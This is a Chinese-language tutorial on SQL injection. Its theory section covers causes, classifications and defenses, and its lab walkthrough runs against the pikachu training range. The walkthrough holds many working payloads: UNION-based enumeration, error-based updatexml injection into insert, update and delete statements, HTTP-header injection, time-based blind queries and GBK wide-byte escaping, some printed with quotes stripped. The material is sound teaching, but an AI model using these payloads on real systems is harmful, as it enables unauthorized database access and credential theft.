SQL 注入漏洞一文搞懂(以pikachu靶场SQL注入为例)
前言本文以pikachu靶场为例进行介绍。phpstudypikachu靶场下载地址https://github.com/zhuifengshaonianhanlu/pikachu详细靶场搭建过程pikachu靶场搭建详细介绍本文仅用于网络安全技术研究与合法授权测试严禁用于任何非法入侵行为。请严格遵守《网络安全法》未经授权不得对任何目标进行扫描或攻击。作者不承担任何因违规使用而产生的法律责任。理论部分一、什么是 SQL 注入SQL 注入是 Web 应用中较为常见的一类安全漏洞。它通常发生在应用程序没有对用户输入的数据进行严格校验、过滤或参数化处理的情况下。攻击者可以通过在输入参数中构造特殊内容使原本由程序预设的 SQL 查询语句被改变语义从而欺骗数据库执行非预期的查询或操作。从本质上看SQL 注入的关键问题在于用户输入的数据被数据库错误地当作SQL 代码的一部分执行。一旦注入成功攻击者可能绕过身份认证、读取敏感数据、修改数据库内容甚至在特定高权限环境下进一步影响服务器安全。二、SQL 注入漏洞的形成原因SQL 注入漏洞的根本成因是应用程序没有实现“数据”和“代码”的严格分离。在正常情况下用户提交的用户名、密码、搜索关键词、编号等内容都应当被视为普通数据。但如果程序直接将这些输入拼接进 SQL 语句中而没有进行充分的合法性检查、转义处理或参数化查询那么攻击者就可能通过构造特殊输入改变原有 SQL 语句的结构和含义。因此SQL 注入漏洞通常与以下问题有关1、直接拼接 SQL 语句程序将用户输入直接拼接到 SQL 命令中导致输入内容可能被解释为 SQL 代码。2、输入校验不足应用程序没有对用户提交的数据类型、长度、格式和特殊字符进行严格限制。3、缺少参数化查询机制没有使用预编译语句或参数绑定导致数据库无法明确区分“数据内容”和“SQL 指令”。4、数据库权限配置过高应用连接数据库所使用的账号权限过大一旦发生注入攻击后果会被进一步放大。5、错误信息暴露过多程序将数据库报错信息直接返回给前端可能帮助攻击者判断数据库类型、表结构或 SQL 语句逻辑。概括来说SQL 注入并不是单纯由某一个特殊字符导致的而是由输入处理、SQL 构造方式、数据库权限和错误处理等多个环节共同失控造成的。三、SQL 注入漏洞的常见利用形式SQL 注入的利用方式较多具体影响取决于数据库类型、应用逻辑、数据库权限、服务器配置以及安全防护措施。常见利用形式主要包括以下几类。1. 绕过登录验证在登录场景中如果用户名、密码等参数直接参与 SQL 查询攻击者可能通过构造特殊输入改变认证逻辑使程序误判其身份合法从而绕过正常登录验证。这类问题常见于早期或安全设计较弱的后台登录系统中本质上是认证逻辑被注入内容干扰导致数据库返回了非预期结果。2. 获取敏感数据攻击者可能利用注入点查询数据库中的敏感信息例如用户账号、密码摘要、手机号、邮箱、身份证号、订单记录、后台管理员信息等。在安全防护不足的情况下SQL 注入可能导致大量用户隐私数据泄露是非常严重的数据安全风险。3. 篡改数据库内容如果数据库账号具有写入权限攻击者可能通过注入修改数据库中的数据。例如修改用户权限、篡改页面内容、插入恶意链接、修改业务数据等。这类攻击不仅影响数据完整性还可能直接破坏网站业务逻辑。4. 文件系统相关操作在部分数据库和服务器配置下如果数据库具备相应权限攻击者可能借助数据库功能读取或写入服务器文件。例如读取配置文件、写入恶意脚本文件等。需要注意的是这类操作并非所有 SQL 注入都能实现它通常依赖数据库类型、文件权限、数据库账号权限以及服务器安全配置。5. 执行系统命令在极端情况下如果数据库服务具有较高权限且数据库本身支持调用系统命令或扩展功能攻击者可能进一步执行系统命令扩大攻击范围。这类情况危害极大但通常需要满足较多前提条件例如数据库权限过高、危险功能未关闭、服务器配置不当等。6. 影响服务器或系统安全当 SQL 注入与弱权限控制、文件写入、后台管理漏洞等问题叠加时攻击者可能进一步植入后门、控制服务器甚至破坏系统数据。因此SQL 注入不仅是数据库层面的漏洞也可能成为攻击者进入服务器内部的重要突破口。四、SQL 注入漏洞的主要危害SQL 注入的危害可以从数据安全、业务安全和系统安全三个层面理解。1. 数据泄露数据库中通常保存着大量敏感信息如用户隐私、账号凭证、业务记录、交易数据等。一旦发生 SQL 注入攻击者可能批量读取这些信息造成严重的数据泄露事件。2. 数据篡改攻击者可能修改数据库中的关键字段例如管理员账号、用户权限、商品价格、文章内容、订单状态等。这会破坏数据的真实性和完整性影响业务系统正常运行。3. 网页篡改与挂马如果网站页面内容依赖数据库生成攻击者可能通过修改数据库字段篡改网页内容插入恶意链接或脚本诱导用户访问恶意页面传播木马或其他恶意软件。4. 权限提升与后台控制在某些情况下攻击者可以通过注入获取管理员账号信息或者直接修改用户权限字段从而进入后台管理系统进一步控制网站功能。5. 服务器被入侵当数据库权限过高、服务器配置不当或存在其他漏洞时SQL 注入可能被进一步利用来读取文件、写入后门或执行命令最终导致服务器被远程控制。6. 系统破坏与业务中断严重的 SQL 注入攻击可能导致数据库被删除、业务数据被破坏、网站无法访问甚至影响整个系统的稳定性和可用性。因此SQL 注入的危害不仅是“查到数据库内容”更可能发展为数据泄露、业务篡改、权限失控乃至服务器沦陷。五、SQL 注入的常见分类SQL 注入可以从不同角度进行分类常见分类方式如下。1. 按注入点的数据类型分类数字型注入数字型注入通常出现在用户提交的参数本应为数字的场景例如文章 ID、商品 ID、用户编号等。如果程序没有严格限制参数必须为数字攻击者就可能构造异常输入影响 SQL 语句。字符型注入字符型注入通常出现在用户名、密码、搜索关键词、标题等字符串输入场景中。由于字符串在 SQL 语句中通常需要引号包裹因此这类注入往往与引号闭合、语句拼接等问题有关。搜索型注入搜索型注入常见于站内搜索、模糊查询等功能中。由于搜索功能通常需要把用户输入放入查询条件中如果处理不当也可能产生注入风险。2. 按数据提交方式分类GET 注入GET 注入通常出现在 URL 参数中例如通过地址栏传递的查询参数、页面编号、文章 ID 等。POST 注入POST 注入常见于登录表单、注册表单、评论提交、信息修改等功能中。由于数据不会直接显示在 URL 中因此需要结合请求体进行分析。Cookie 注入Cookie 注入是指应用程序读取 Cookie 中的数据并将其带入 SQL 查询时由于未对 Cookie 内容进行安全处理而产生的注入漏洞。早期 ASP 程序中这类问题相对常见但其他技术栈中如果处理不当也可能出现类似风险。HTTP 头注入部分程序会记录或处理 HTTP 请求头信息例如 User-Agent、Referer、X-Forwarded-For 等。如果这些头部字段被直接写入数据库或参与查询也可能形成注入点。3. 按获取信息的方式分类基于布尔的盲注当页面不直接显示数据库查询结果但会根据查询条件返回不同页面状态时攻击者可能通过判断页面真假变化来推断数据库信息。基于时间的盲注当页面没有明显回显差异时攻击者可能通过观察数据库响应时间变化来推断条件是否成立。该方式通常效率较低但在无明显回显场景中仍可能被利用。基于报错的注入如果数据库错误信息被直接返回给用户攻击者可能利用报错内容获取数据库结构、字段信息或查询结果。联合查询注入联合查询注入是利用数据库的联合查询机制将攻击者构造的查询结果合并到原有查询结果中从而在页面中显示额外数据。堆叠查询注入堆叠查询注入是指在一次请求中尝试执行多条 SQL 语句。它的危害较大但并非所有数据库、驱动程序或配置环境都支持这种方式。六、哪些位置可能存在 SQL 注入漏洞SQL 注入点并不只存在于登录框或搜索框中。凡是用户可控数据被后端接收并进一步进入数据库查询、写入、更新或删除逻辑的地方都可能存在注入风险。常见位置包括1、URL 中的参数例如文章编号、商品编号、分页参数等2、表单输入内容例如用户名、密码、评论、留言、搜索关键词等3、Cookie 中保存的用户标识、会话参数或偏好设置4、HTTP 请求头字段例如 User-Agent、Referer、X-Forwarded-For 等5、路由参数、目录名、文件名等动态路径内容6、后台管理系统中的查询、筛选、排序、导入导出等功能7、API 接口中的 JSON 参数、表单参数或路径参数。其中最常见的原因仍然是程序对用户可控参数过滤不严并将其直接拼接进 SQL 语句执行。七、SQL 注入的防护思路虽然 SQL 注入危害严重但它也是可以通过规范开发和安全配置有效防范的漏洞类型。常见防护措施包括1、使用参数化查询或预编译语句这是防范 SQL 注入最核心、最有效的方式。通过参数绑定数据库能够明确区分 SQL 代码和用户输入数据。2、避免直接拼接 SQL 语句不应将用户输入直接拼接到 SQL 命令中尤其是登录、搜索、排序、筛选等高频功能。3、进行严格输入校验根据业务场景限制输入类型、长度、格式和范围。例如 ID 参数应限制为数字邮箱应符合邮箱格式排序字段应使用白名单。4、控制数据库账号权限应遵循最小权限原则。应用程序连接数据库的账号只应拥有完成业务所必需的权限避免使用数据库管理员账号直接连接业务系统。5、隐藏详细错误信息不应将数据库报错信息直接暴露给用户。生产环境中应统一返回通用错误提示并在服务器端记录详细日志。6、加强日志审计与异常检测对异常请求、频繁报错、可疑参数、异常访问路径等行为进行记录和告警有助于及时发现攻击迹象。7、结合 WAF 等安全设备Web 应用防火墙可以拦截部分常见注入攻击但它不能替代安全编码。根本防护仍然应从代码层面解决。八、理论总结SQL 注入的本质是应用程序没有正确区分用户输入数据和 SQL 代码导致攻击者能够改变数据库查询语句的原有语义。它可能造成身份认证绕过、敏感数据泄露、数据库篡改、网页挂马甚至服务器被控制等严重后果。在实际开发中防范 SQL 注入不能只依赖简单过滤特殊字符而应综合采用参数化查询、输入校验、权限控制、错误信息保护和安全审计等措施。只有从开发、配置和运维多个层面共同防护才能有效降低 SQL 注入风险。pikachu靶场实操Pikachu 靶场是一个面向 Web 安全学习与漏洞验证的开源练习平台主要用于帮助初学者系统理解常见 Web 漏洞的产生原因、表现形式和基本防护思路。它以 PHP MySQL 环境为基础内置了 SQL 注入、XSS、CSRF、文件上传、文件包含、暴力破解、越权访问、命令执行、XXE、SSRF 等多个典型漏洞模块学习者可以在本地或授权实验环境中进行复现和分析。相比直接阅读理论知识Pikachu 的优势在于把抽象漏洞转化为可操作、可观察的实验场景便于理解“用户输入如何影响后端逻辑”“漏洞如何被触发”“防护措施为什么有效”等问题。需要注意的是Pikachu 仅适合用于本地学习、课程实验和授权测试不能将其中学到的技术用于未授权的网站或系统。1、数字型注入因为是 POST 型这里我们用 HackBar。找到有效载荷。放入POST即可现在开始测试1、加单引号进行初步探测数据库报错。2、加空条件 and 11这一步是判断SQL逻辑是否执行。语句执行正常与原始页面无任何差异。3、加永假条件 and 12判断页面是否因条件为假而变化。语句正常执行但是无法查询出结果与原始网页存在差异。到这里判断为数字型注入。接下来开始正常测试。4、Order by 猜测字段长度在 SQL 中ORDER BY 后面除了可以写字段名也可以写数字表示按照查询结果中的第几列排序。id1order by3id1order by2只有两个字段。5、联合查询检查可利用字段数union select 联合查询呈现可利用的字段数id1unionselect1,2submit%E6%9F%A5%E8%AF%A2id-1 unionselect1,2submit%E6%9F%A5%E8%AF%A2这里对输出没有限制正常应该将id设置为不成立的数字。6、爆库、用户、表、列、字段值库和用户id-1 unionselectdatabase(),user()submit%E6%9F%A5%E8%AF%A2表id-1 unionselect1,group_concat(table_name)from information_schema.tables wheretable_schemapikachusubmit%E6%9F%A5%E8%AF%A2列id-1 unionselect1,group_concat(column_name)from information_schema.columns wheretable_nameuserssubmit%E6%9F%A5%E8%AF%A2字段id-1 unionselectusername,password fromuserssubmit%E6%9F%A5%E8%AF%A22、字符型注入判断加单引号加空条件kobe and11--加永假条件kobe and12--到这里可以判断为字符型注入。接下来还是一样的过程只不过多了单引号闭合以及注释 order by3--order by2-- unionselect1,2-- unionselectdatabase(),user()-- union select 1,group_concat(table_name) from information_schema.tables where table_schemapikachu -- union select 1,group_concat(column_name) from information_schema.columns where table_nameusers -- unionselectusername,password fromusers--3、搜索型一般是selectxxxfromxxxwherexxxlike%abcd%测试a% and11--a% and12--是搜索型。接下来依旧a% order by3#用--和#注释都行的。a% order by4#查所有数据 or11--% unionselectversion(),user(),database()#因为三个字段的缘故可以顺便查版本号。这里的版本号是数据库的。-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemapikachu#-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers#-1 unionselect1,username,password fromusers#4、xx型注入xx型注入就是输入的值被其他符号包裹。发现报错里面有kobe)意思是多了一个)后端应该是select* fromuserswhere username(kobe)输入kobe)and11#kobe)and12#kobe)order by2#kobe)order by3#kobe)unionselectuser(),database()#kobe) union select 1,group_concat(table_name) from information_schema.tables where table_schemapikachu#kobe) union select 1,group_concat(column_name) from information_schema.columns where table_nameusers#kobe)unionselectusername,password fromusers#5、“insert/update” 注入点击注册抓包这类注入比较常见的语句是insertintousers(username,password)values($username,$password);比如在username字段输入admin, admin123);--最终执行的 SQL 变成insertintousers(username,password)values(admin,admin123);-- ,xxx);输入单引号出现报错报错里面感觉没有什么有用的信息。不过既然是insert/update 注入说明没法进行联合查询最好是进行报错注入。用extractvalue或者updatexml来进行报错注入。输入yihan,admin123);--列数不对但是没报错。yihanor updatexml(1,concat(1,(select database()),0x7e),1) and 输入这个我们假设原始代码是$sqlINSERT INTO users (username, password) VALUES ($username, $password);拼接后为INSERT INTOusers(username, password)VALUES(yihanor updatexml(1,concat(1,(select database()),0x7e),1)and,123)爆出数据库。接下来就是和之前一样的流程。用户爆表or updatexml(0x7e,concat(1,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,31),0x7e),1) or 这里前面的用户名不加了因为然后and 这里改成了or当然and也没问题。爆列or updatexml(0x7e,concat(1,substr((select group_concat(column_name) from information_schema.columns where table_nameusers),1,31),0x7e),1) or 爆字段or updatexml(0x7e,concat(1,substr((select group_concat(username,password) from users),1,31),0x7e),1) or update注入用法和insert注入一样的。6、“delete” 注入先留言再删除。发现是数字型。构造pyload56or updatexml(1, concat(0x7e,(select database()),0x7e),1)这里要URL编码不然会400。直接爆数据了56or updatexml(1, concat(0x7e,substr((select group_concat(username,password)fromusers),1,31),0x7e),1)7、http头注入加单引号出现报错。而且报错显示是SQL语句上的报错这里就是表明可以尝试注入。 or updatexml(1,concat(0x7e,(select database()),0x7e),1) or 8、基于boolian的盲注基本测试一下1 and11#1 and12#直接爆库就行说明可以进行联合查询 unionselectdatabase(),version()#爆表 union select 1,group_concat(table_name) from information_schema.tables where table_schemapikachu#接下来步骤和上面一样的。9、基于时间的盲注这里用一些工具更方便。延迟0.5秒 or11and sleep(0.5)--0.5s 其实挺难判断的但是设置时间太长的话又要考虑服务会不会断。然后因为没有回显就只能一个字符一个字符的判断。先判断数据库长度# 长度是否大于 5 or11and sleep(if(length(database())5,0.5,0))--判断数据库库名第一个字符是不是p or11and sleep(if(ascii(substr(database(),1,1))112,0.5,0))--判断第一个表的长度# 长度是否大于 5 or11and sleep(if(length((select table_name from information_schema.tables where table_schemadatabase()limit0,1))5,0.5,0))--判断第一个表的第一个字符是不是h or11and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase()limit0,1),1,1))104,0.5,0))--以此类推这里推荐用Sqlmap这样的工具。10、wide byte注入原理GBK是双字节字符两个字节代表一个汉字我们输入% df转义之后变成% df\ 反斜杠\的十六进制是%5c%df%5c被MySQL解析成一个完整GBK汉字单引号被成功逃逸出来。比如提交参数?id%df。PHP 转义单引号 → \现在字符串十六进制df 5c 27GBK 编码规则首字节范围0x81~0xFE第二个字节0x40~0xFE0xdf(首字节)0x5c(第二个字节) 组合成一个合法GBK汉字吃掉了反斜杠。剩下单独字节0x27单引号成功逃逸转义闭合 SQL 语句。输入kobe%df or11#数据库库名kobe%df unionselect1,database()#表名%df unionselect1,group_concat(table_name)from information_schema.tables wheretable_schemadatabase()#